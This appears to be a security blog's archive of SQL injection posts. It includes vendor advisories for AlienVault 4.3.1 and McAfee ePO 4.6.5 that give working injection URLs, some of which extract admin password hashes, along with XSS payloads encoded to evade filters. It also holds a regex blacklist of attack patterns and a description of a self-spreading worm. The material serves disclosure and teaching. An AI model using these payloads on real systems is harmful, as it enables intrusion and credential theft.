Twitter

Entries in SQL Injection (6)

Thursday
Apr242014

SQL Injection in Dynamically Constructed Images (and other sql related mischief)

Howdy. Today we’ll be going through a SQL injection edge case that tends to be missed by automated scanning tools - SQL injection in web application image constructors. At times web applications have requirements for the creation of images based on some input data. Commonly this input is related to the dimensions of the output image, dynamic watermarking and branding or some other aesthetic requirement. Sometimes applications need to represent data sets in an image. A common example would be related to the use of libraries that create a chart based on some user supplied input or data from a database.

Automated scanning solutions tend to ignore any HTTP responses that contain an image related mime type. This is typically due to the inherent size of the responses and the preference HTTP libraries have for parsing text based data.

A combination of these factors makes it quite likely that any dynamically constructed images will not be suitably assessed during an security assessment. Experience has indicated that issues can be present in many forms; from vanilla “UNION” to more complex blind or error based SQL injection.

Error Based SQL Injection:

Dmitry Evteev of Positive Technologies Research Lab demonstrated practical approaches to exploiting error based SQL injection in his paper titled: “Methods of Quick Exploitation of Blind SQL Injection”. In essence this technique relies on casting expected data types to a format that will produce a specific error type and reveal the miscast data. 

The following exploitation and response string demonstrate the issue:

Exploit string:

select convert(int,@@version);

Response:

Conversion failed when converting the nvarchar value ‘Microsoft SQL Server 2008 (SP1) - 10.0.2531.0 (X64) Mar 29 2009 10:11:52 Copyright (c) 1988-2008 Microsoft Corporation Standard Edition (64-bit) on Windows NT 6.0 (Build 6002: Service Pack 2) (VM)…’ to data type int.

So in the above example the subquery “@@version” is performed and then an attempt is made to cast the string response to an integer datatype which is unsupported and results in a disclosure of the subquery response.

Let’s examine an instance of error based SQL injection in the AlienVault Open Source Security Information Management (OSSIM). This is an issue I reported earlier, in 2013.

The complete exploit string looks like the following:

https://127.0.0.1/geoloc/graph_geoloc2.php?year=2007&user=dsdds’%20union%20all%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,(1)and(select+1+from(select+count(*),concat((select+@@version),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a);—%20-

What we are doing here is leveraging error based SQL injection in combination with “UNION” based SQL injection to extract the following MySQL database version string:

Duplicate entry ‘5.5.29-29.41’ for key ‘group_key’

This response data, if included as part of a HTTP response with an image based mime-type will more than likely be ignored by automated scanners or sql exploitation tools.

Dynamically constructed images are identifiable through the presence of parameters in the resource path. The example above contains parameters “year” and ”user”. Other common parameter names include “width”,”height”,”blur”,”path” etc

In short; if parameters are seen passed to image resource URLs they should be manually tested! More often than not you will get internal path disclosure sometimes you will get a lot more.

Exploiting SQL Errors To Perform Cross Site Scripting:

MySQL does not perform any output encoding on errors. This can be fairly useful if we want to inject client-side code in an application that is otherwise handling user supplied data in a sane way. A simple way would be to select an XSS payload as a string as per the following example:

UNION SELECT 0”<script>alert(‘GDS’)</script>,2 —

The response snippet will contain an unencoded, unescaped and unfiltered XSS payload.

If we want to evade browser based XSS mechanisms such as Google Chrome’s XSSAuditor we can use ASCII hex encoding support to decode our payload before returning it. The following example contains an ASCII hex encoded version of our payload:

UNION SELECT 0x30223c7363726970743e616c657274282747445327293c2f7363726970743e,2 —

Modern browsers perform reflected XSS checks by comparing segments of the URL to HTTP responses. By asking the target database to decode our payload we effectively bypass these checks, which is nifty.

If we want to needlessly complicate the matter (and show some flair) we can combine this XSS vector in combination with a SQL injection response to perform a JavaScript alert of the response data. An example of this attack in the identified AlientVault SQL injection vector is presented below:

https://127.0.0.1/RadarReport/radar-iso27001-A11AccessControl-pot.php?date_from=2’%20union%20all%20select+(1)and(select+1+from(select+count(*),concat((concat(0x3c7363726970743e616c6572742822,’database%20version:’,@@version,0x22293c2f7363726970743e)),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a),2—%20-&date_to=2

Response:

<script>alert(“5.5.29-29.41”)</script>


AlienVault 4.3.1 Unauthenticated SQL Injection Disclosure

The complete AlienVault disclosure is included below (please note that the vendor has addressed all issues in AlienVault 4.3.2):

AlienVault 4.3.1 Unauthenticated SQL Injection
Vulnerability Type: SQL Injection
Reporter: Sasha Zivojinovic
Company: Gotham Digital Science
Affected Software: AlienVault 4.3.1

Severity: Critical

=========================================================== Summary ===========================================================

A number of SQL injection vectors were identified within AlienVault (AV) 4.3.1 components. The “Geolocation Graph” and “Radar Access Control” AV components were found to accept HTTP request parameters that are concatenated without filtering or validation. These parameters are then passed as SQL queries which exposes the application to SQL Injection. This issue can be exploited by any unauthenticated users who have access to the AV web application. In addition the effective MySQL user was found to be “root” which allows attackers to leverage the identified issues into attacks against the AV host system.

=========================================================== Technical Details ===========================================================

The ‘date_from’ and ‘date_to’ parameters passed to the ‘graph_geoloc.php’ page, the ‘date_from’ and ‘date_to’ parameters passed to the ‘radar-iso27001-A11AccessControl-pot.php’ page and the “user” parameter passed to the “graph_geoloc2.php” page are vulnerable to SQL injection attacks. These parameters were found to evaluate any SQL statements passed to them via a HTTP GET request.

PHP functions “whereYM” and “getSourceLocalSSIYear” in source file “/var/www/geoloc/include/data_functions.inc” do not filter or validate user supplied input when constructing dynamic SQL queries. Attackers can inject arbitrary SQL statements that will be evaluated on the underlying MySQL server.

Due to time limitations it has not been possible to locate the causes of the other identified vectors.


Extending the attack:

An attacker can retrieve various AV credentials including the MySQL connection string by querying the “alienvault.config” database table or by querying the “/etc/ossim/idm/config.xml” file through MySQL file access methods such as “LOAD_FILE”. Almost all credentials used by AV are equivalent so retrieving the credentials for the nessus user will also reveal the credentials for the SQL server and other components. These credentials are stored in plain-text within the database. By querying the “alienvault.users” table the attacker can retrieve the unsalted MD5 password hashes for administrative users. These hashed credentials are equivalent to the SSH credentials for the same users. Once these credentials have been retrieved and cracked an attacker can bypass the restrictions present in the SQL injection vector and perform arbitrary system or SQL queries by connecting directly to the AV host via SSH and using the local MySQL client to connect to the MySQL server.


Cross Site Scripting (XSS):

In addition the presence of MySQL errors presents an opportunity for reflected XSS attacks as the MySQL server does not filter responses when returning errors to the application user.


===========================================================
Proof-of-Concept Exploit ===========================================================

https://127.0.0.1/geoloc/graph_geoloc.php?date_from=2013-07-01’%20union%20all%20select(SLEEP(10)),2—%20-&date_to=2013-07-30

The integer value passed as a parameter to the “SLEEP” function can be increased or decreased to validate this finding.

Error based evaluation can be used to return the MySQL version as per the following examples:

https://127.0.0.1/geoloc/graph_geoloc2.php?year=2007&user=dsdds’%20union%20all%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,(1)and(select+1+from(select+count(*),concat((select+@@version),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a);—%20-
https://127.0.0.1/geoloc/graph_geoloc.php?date_from=2013-07-01’%20union%20all%20select+(1)and(select+1+from(select+count(*),concat((select+@@version),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a),2—%20-&date_to=2013-07-30
https://127.0.0.1/geoloc/graph_geoloc.php?date_from=2013-07-01&date_to=2013-07-30’%20union%20all%20select+(1)and(select+1+from(select+count(*),concat((select+@@version),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a),2—%20-
https://127.0.0.1/RadarReport/radar-iso27001-A11AccessControl-pot.php?date_from=2&date_to=2’%20union%20all%20select+(1)and(select+1+from(select+count(*),concat((select+@@version),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a),2—%20-
https://127.0.0.1/RadarReport/radar-iso27001-A11AccessControl-pot.php?date_from=2’%20union%20all%20select+(1)and(select+1+from(select+count(*),concat((select+@@version),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a),2—%20-&date_to=2
https://127.0.0.1/RadarReport/radar-iso27001-A11AccessControl-pot.php?date_from=2’%20union%20all%20select+(1)and(select+1+from(select+count(*),concat((concat(0x3c7363726970743e616c6572742822,’database%20version:’,@@version,0x22293c2f7363726970743e)),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a),2—%20-&date_to=2

Response:

Duplicate entry ‘5.5.29-29.41’ for key ‘group_key’

Pulling “admin” user password hashes:

https://127.0.0.1/RadarReport/radar-iso27001-A11AccessControl-pot.php?date_from=2’%20union%20all%20select+(1)and(select+1+from(select+count(*),concat((select pass from alienvault.users where login=’admin’),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a),2—%20-&date_to=2


Cross Site Scripting:

The following examples demonstrate the use of unfiltered MySQL errors as an XSS vector:

Vanilla XSS

https://127.0.0.1/geoloc/graph_geoloc.php?date_from=2013-07-01’%20union%20select%200”<script>alert(‘GDS’)</script>,2%20—%20-&date_to=2013-07-30

ASCII Encoded XSS Variant (useful in bypassing application layer filters)

https://127.0.0.1/geoloc/graph_geoloc.php?date_from=2013-07-01’%20union%20select%200x27223e3c7363726970743e616c6572742831293c2f7363726970743e,2%20—%20-&date_to=2013-07-30

===========================================================
Recommendation ===========================================================

AlienVault deployments should be upgraded to the latest stable version. The issues documented in this disclosure have been remediated in AlienVault 4.3.2.

Tuesday
Oct082013

Exploiting Integer Based SQL Injection in Nested SQL Queries

In this post I’ll be talking you through exploiting what turned out to be an interesting SQL Injection variation - SQL injection involving nested queries and arithmetic evaluation.

Consider the following example application requests and responses:

Request:
nested.php?id=1

Response:
your account balance is: 16230

Request:
nested.php?id=10

Response:
your account balance is: 56963

The underlying SQL query in this case is equivalent to the following:
SELECT balance from balances where account_number=(SELECT account_number from accounts where id=?);

This parameter is vulnerable to integer based SQL Injection, which we can verify by using the following “id=1” parameter value equivalents:

Request:
id=1

Response:
your account balance is: 16230

Request:
id=0.5*2

Response:
your account balance is: 16230

Request:
id=10/10

Response:
your account balance is: 16230

Request:
id=2-1

Response:
your account balance is: 16230

This is pretty conclusive proof that our “id” values are being evaluated as part of a dynamic SQL query. Still it’s always worth proving the negative case, so we can go ahead and test a few other numerical values and see if they return other balance values.

Let’s see what happens if we try to return the MySQL version:

Request:
id=@@version

Response:


No luck. Still we can leverage the fact that we can manipulate integers to infer the result of the above version request. We can do this by using the MySQL “ASCII” native function. The ASCII function will take a string and return to us the leftmost character as a decimal value.

Request:
id=ASCII(@@version)

Response:
your account balance is: 990

Great! It looks like the expression evaluated and returned a response based on the first character of the version string.

By spidering all possible id values we discover that the balance value 990 belongs to the account with id value “53”:

Request:
nested.php?id=53

Response:
your account balance is: 990

So we now know that the decimal ASCII value of the first character is the MySQL version string is “53”. If we use an ascii lookup table we can map this value to the “5” character. The first character in the MySQL version string is “5”.

To get the other characters in the version string, we can use the MySQL “SUBSTRING” native function. Let’s use it in our example to return the second character of the version string:

Request:
id=ASCII(SUBSTRING(@@version,2,1)) Response:
your account balance is: 96146

The response is equivalent to a request to “id” value “46” which indicates that the second character in the version string is a “.” character.

Using this technique we can step through each character and enumerate the whole response string. To aid us in the process we can get the total length of the version string by using the MySQL “CHAR_LENGTH” native function.

Request:
id=CHAR_LENGTH(@@version)

With the response being equivalent to “23”.

I think we’ve proved a point here in what is a fairly contrived scenario. In this example we can actually bypass this whole process as there is no actual filtering involved (just implicit type-casting in the SQL query). The following request will return the whole version string:

Request:
id=53) union select @@version — -

Response:
your account balance is: 5.5.28-0ubuntu0.12.04.3

This teaches us a lot about the power of close brackets in evaluating potential SQL injection (you don’t always need a quote!) but it doesn’t teach us a lot about real world exploitation where filtering is enabled.

For my next trick we’ll look at an example where this technique was used to identify and exploit an 0day SQL Injection issue in the McAfee ePolicy Orchestrator product.

Disclosure Details:

McAfee ePolicy Orchestrator (ePO) 4.6.5 Blind SQL Injection Via SQL Arithmetic

Vulnerability Type: Blind SQL Injection

Company: Gotham Digital Science

Affected Software: McAfee ePolicy Orchestrator (ePO) 4.6.5 (Build 168)

McAfee Security Bulletin: http://kc.mcafee.com/corporate/index?page=content&id=SB10043

Vulnerability Description:

The ‘uid’ parameter passed to the ‘DisplayMSAPropsDetail.do’ page allows for the passing of SQL arithmetic that is evaluated as a dynamic SQL statement. The database backend evaluates these values and then returns the associated record.

Exploitation:

The following request and response pairs demonstrate the use of the SQL integer evaluation injection:

Request:
/EPOAGENTMETA/DisplayMSAPropsDetail.do?registeredTypeID=epo.rt.computer&uid=1

Response:
GDSSECURITY

Request:
/EPOAGENTMETA/DisplayMSAPropsDetail.do?registeredTypeID=epo.rt.computer&uid=0.5*2

Response:
GDSSECURITY

(The response value ‘GDSSECURITY’ is related to the host name of a machine being referenced by the ‘uid’ value and is returned as part of the response data).

Since we know that making a request with the ‘uid’ parameter value set to 1 returns the value host-name value ‘GDSSECURITY’ we can use any query that evaluates to 1 and confirm that it evaluates to 1 by getting the expected response back.

For example consider the following Request:
/EPOAGENTMETA/DisplayMSAPropsDetail.do?registeredTypeID=epo.rt.computer&uid=1 * ASCII(SUBSTRING(@@version,1,1)) / 77

If the value of the first character of the database version is equal to ‘M’ then the arithmetic will be equivalent to “1 * 77 / 77” (i.e the value “1”).

We run into a practical challenge in certain situations in that SQL Server will, in some cases, round off equations evaluating to non-whole number results.

For example the following queries will both be rounded down to the same result (the value “1”):

select 1 * ASCII(SUBSTRING(@@version,1,1)) / 77 = 1 select 1 * ASCII(SUBSTRING(@@version,1,1)) / 76 = 1

To compensate for this we can explicitly cast the return value as a float by first dividing by the decimal value ‘0.5’ as per the following example:

SELECT 1 * 0.5 * ASCII(SUBSTRING(@@version,1,1)) / 0.5 / 77

In these conditions SQL Server will handle the casting of return values according to its own internal rules. With the return value cast as a float integer we can perform the arithmetic we need without the danger of rounding down and getting inaccurate responses.

The following proof of concept will use these techniques to validate the first character of the server version as the ASCII value 77 or ‘M’:

/EPOAGENTMETA/DisplayMSAPropsDetail.do?registeredTypeID=epo.rt.computer&uid=1 * 0.5 * ASCII(SUBSTRING(@@version,1,1)) / 0.5 / 77

The application returns the expected record “GDSSECURITY” validating that the first character of the database version string is ‘M’ and therefore most probably a Micosoft SQL Server instance.

Extending the Attack:

It is possible to step out of the restrictions of injecting into a ‘SELECT’ query through the use of stacked queries. The following proof of concept demonstrates the addition of a second, arbitrary query after a completed initial parameter:

/EPOAGENTMETA/DisplayMSAPropsDetail.do?registeredTypeID=epo.rt.computer&uid=0.5*2;WAITFOR DELAY ‘0:0:5’;

This request will result in a 5 second delay before a response is returned by the database and the application.

Epilogue:

So there you have it. Nested SQL queries and type-cast values can be dangerous. If you haven’t already, add “)” and “ASCII(@@version)” to your attack dictionaries.

Wednesday
Aug192009

SQL Injection used in Heartland, 7-Eleven and Hannaford Breaches

Having recently seen our book SQL Injection Attacks and Defense come out, it is very timely indeed to see in the news of the recent indictment of Albert Gonzalez that SQL Injection played a key part in the Heartland Payment Systems, 7-Eleven, and Hannaford Brothers breaches, as well as for two other unnamed victim companies.

So how can SQL Injection, which is an application level problem, be used as a vector for attacking an organization? In a number of ways. SQL Injection gives an attacker the ability to interact with the database, and therefore if something is possible on the database server it may well be possible through SQL Injection. Modern database systems such as Oracle, SQL Server and others provide a rich variety of functionality for their users - all too often though, some of this functionality can be abused by malicious individuals.

Making some assumptions, its likely that something like the following occurred:

  1. It was possible to interact with the underlying operating system in some way using SQL Injection. This could have been through the ability to execute operating system commands (such as through the well known xp cmdshell stored procedure on Microsoft SQL Server), or through the ability to stage content to the database server (or filesystem) and then have it compiled to executable content.
  2. With the ability to execute content at the operating system layer, access was consolidated by providing some form of alternative control channel or remote access to the database server.
  3. With consolidated access to the database server, the attacker uses the database server as a foothold to go further into the organization.

These types of hybrid attacks where one type of attack is dovetailed or launched over another are becoming increasingly common. Another SQL Injection hybrid attack of recent note was the SQL Injection mass attacks that started in early 2008. These used SQL Injection in another way - to inject links to JavaScript malware into thousands of unsuspecting vulnerable sites. It just goes to prove that even if a vulnerability is over 10 years old, it still has some new tricks to be seen.

Tuesday
Sep092008

Using SPF to Protect Against SQL Injection Worms

When SPF was first released last month, I knew it was a great protection mechanism to thwart attacks against applications running on IIS. What I didn't realize was that the most urgent gap that it fills is that of thwarting SQL injection worms.

Microsoft has pitched UrlScan v3 as a band-aid solution to protect against SQL injection worm attacks on classic ASP and ASP.NET applications. The reality is that UrlScan's capabilities to protect applications-level attacks are quite limited. Specifically, UrlScan is not able analyze POST data and lacks support for regular expressions. This combined with the inability to include or exclude specific URLs leaves many users unable to adequately protect their vulnerable applications. Unfortunately with UrlScan it's an all or nothing approach.

SPF overcomes both of these shortcomings. Unlike UrlScan, SPF is specifically designed to thwart application-level attacks. UrlScan is not. UrlScan was originally designed to protect IIS web servers from the onslaught of web server attacks that surfaced shortly after the turn of the millennium (i.e. Code Red, Nimda, etc). UrlScan is very effective as a server-level protection mechanism; however the reality is that it simply was not designed to be an application-level protection mechanism.

Last week, an updated beta of SPF was released which has been significantly optimized for performance in Black-List only configuration mode. I have come up with the following sample configuration which can be used to protect IIS6 applications from SQL injection attacks (applications hosted on IIS7 can also use this configuration). Keep in mind that these patterns are designed to prevent false positive hits while still allowing most sites to function; using blanket deny rules against strings like "exec", for example, won't work in most real-world situations (strings like this occur way too often in most free-text submissions). I experienced this first-hand when attempting to implement UrlScan on a customer website using the sample SQL Injection rules published on the IIS.NET Security Blog.

The Black-List only sample configuration for SPF is shown below:

<spfConfig logDirectory="c:\\temp\\logs" protectForm="false" protectUri="false"
protectQueryString="false" protectCookie="false" protectMode="Active"
defaultUrl="/default.asp">

<protectedFileExtensions>
<add extension=".asp" />
<add extension=".aspx" />
</protectedFileExtensions>

<blackListPatterns>
<add patternRegex="(select|grant|delete|insert|drop|alter|replace|
truncate|update|create|rename|describe)\\s+.*\\s+(from|into|table|
database|index|view|set)" applyTo="all" />
<add patternRegex="'?\\s+OR\\s.+=" applyTo="all" />
<add patternRegex="(--|;|*|@@|0x|DECLARE|..|.dbo.)" applyTo="all" />
<add patternRegex="(CAST|EXEC|CHAR)(%|()" applyTo="all" />
<add patternRegex="(s|x)p_" applyTo="all" />
</blackListPatterns>
</spfConfig>

If anyone has any additional ideas on good SQL attack patterns to look for, feel free to share your thoughts. Keep in mind SPF BlackListPatterns are not case sensitive and are applied to decoded request data. As always, this is not intended to be permanent solution for SQL injection (as opposed to fixing your code); however it certainly raises the bar for bad guys and will buy you some time to implement the optimal fix.

Thursday
Aug212008

Overview of "SQL Injection Worms for Fun and Profit" 

For those of you who didn't catch my turbo talk at Black Hat in Las Vegas, and especially those of you who looked at the slides and demo in my previous blog post and had no idea what the talk was about, I thought I'd put together a short summary of what was covered, and what I demonstrated.

I began my presentation by discussing the mass SQL Injection attacks that started earlier this year (see Internet Storm Center coverage from the start of the year), originally out of China, but now out of Eastern Europe as well. The profit motivation for these attacks is fairly obvious - inject JavaScript malware into a site's HTML. The attacks exploit SQL Injection vulnerabilities to insert JavaScript into the database that is then rendered back into web pages. Botnets are often used to randomly attack website pages on the Internet (chosen using Google, for example) with a generic SQL Injection attack. The attacks have one shot at success - it either works or it doesn't. The major upside of using a botnet is that even a low success rate can be devastating as they can still compromise hundreds of thousands of pages. Even worse, the indiscriminate nature of botnet attacks make it so potential victims no longer have to wander off to the deep dark corners of the Internet to face the possibility of some malicious content being installed on their machines, because any site could potentially be infected.

There are some other profit motivations that to date we haven't seen exploited. Namely, unlike the more common botnet attacks that seem to largely target home users for their personal information and details, the mass SQL Injection attacks have a different target - websites developed by organizations and businesses, large and small. Some of which may have some very interesting information, such as customer data and (regardless of whether it is supposed to be there according to the PCI DSS) credit card information. Another target are websites that are on DMZ's behind outer perimeter controls (e.g. firewalls), and therefore may provide a useful pathway into an organization's network, and all of the interesting information and data residing there.

Building on these attack scenarios, I then speculated on aspects of the current mass SQL Injection attacks that could lead to more serious exploitation. What I came up with was a self replicating SQL Injection worm, and this is what was demonstrated on stage at Black Hat.

How does the Proof of Concept SQL Injection Worm Work?

For the moment it is Microsoft SQL Server specific, largely because the functionality leveraging the underlying operating system is straight forward to access in SQL Server. The worm looks at the IP address it is on, and if it is an RFC 1918 private IP range it will scan the subnet looking for other web servers on port 80. When it finds a website, it does a fairly simple crawl of the entire site, and then parses through the HTML code to identify query strings with parameters, as well as forms in the HTML. The worm then tests each parameter in succession for trivially identified SQL Injection vulnerabilities. If a parameter is vulnerable, the worm will then run through the following tests:

  • is the back end Microsoft SQL Server?
  • are stored procedures executable?
  • is the xp_cmdshell extended stored procedure executable?

If those tests succeed, the worm uses the xp_cmdshell functionality to upload a copy of itself (i.e. the payload) onto the database server. It does this by encoding the payload as a text file, echoing it up line by line, and unpacking it on the destination server using the debugger that ships with every Windows installation by default - debug.exe. Then, presuming it all worked, the reassembled worm is executed, and the spread continues. And that is all this proof of concept worm does - spread. All of this worked quite well live on stage, with the exploit to upload process taking about 2-3 minutes for my test network, enabling me to show a number of the worms executing in memory (as the worm doesn't have any facility to detect whether a machine is already infected). 

Yes, this particular worm does rely on an insecure configuration being present - namely that xp_cmdshell is executable. By default this is not available on SQL Server 2005, and won't be executable unless the website has been explicitly granted privileged access to the database server, so not all vulnerable sites will be exploited by the worm. However, there are plenty of sites that are configured insecurely, running previous versions of SQL Server (that are much easier to misconfigure), and let's not forget xp_cmdshell is also available and potentially exploitable on sites running a Sybase backend. After all, even if only one in ten sites are in this configuration, we will still have tens of thousands of vulnerable sites.

To wrap it all up, my Black Hat presentation demonstrated one particular way that things could get much worse with SQL Injection worms. Leveraging operating system access (if present) is only one potential way to wreak havoc on the Internet. There are lots of others - I for one will be very interested to see where those clever folks in China and Eastern Europe take the mass SQL Injection attacks in the near future.